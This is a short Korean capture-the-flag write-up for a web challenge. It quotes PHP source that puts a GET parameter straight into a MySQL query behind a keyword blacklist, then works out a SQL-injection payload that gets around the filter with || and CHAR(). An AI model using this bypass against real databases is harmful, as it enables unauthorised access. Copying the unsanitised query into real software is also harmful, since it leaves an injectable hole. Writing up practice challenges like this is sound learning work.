레벨이 있다..
.
..
<html> <head> <title>Challenge 46</title> </head> <body> <form method=get action=index.php> level : <input name=lv value=1><input type=submit> </form> <? if(time()<1256900400) exit(); ?> <!-- index.phps --> <? $_GET[lv]=str_replace(" ","",$_GET[lv]); $_GET[lv]=str_replace("/","",$_GET[lv]); $_GET[lv]=str_replace("*","",$_GET[lv]); $_GET[lv]=str_replace("%","",$_GET[lv]); if(eregi("union",$_GET[lv])) exit(); if(eregi("select",$_GET[lv])) exit(); if(eregi("from",$_GET[lv])) exit(); if(eregi("challenge",$_GET[lv])) exit(); if(eregi("0x",$_GET[lv])) exit(); if(eregi("limit",$_GET[lv])) exit(); if(eregi("cash",$_GET[lv])) exit(); $q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]")); if($q && $_GET[lv]) { echo("$q[0] information<br><br>money : $q[1]"); if($q[0]=="admin") @solve(); } ?> </body> </html>
일단 눈에 띄는건 0x를 쓸수가 없다. hex match를 할 수 없다는 말 같다.
다행히 "는 쓸 수 있는것 같고. 그럼 여태까지 해왔던게 있으니 쿼리를 만들어보자.
row 에 1이 있으니까 lv에 1을 주면 안되고 false로 만든다.
그리고 공백을 적을 수가 없으니까 일반 OR을 적어도 안되니 || 를 쓴다.
id=admin은 적어줘야 할 것 같은데 왠지 필터링이 된다. CHAR을 사용해보자.
종합하면
2||id=CHAR(97,100,109,105,110)
끝!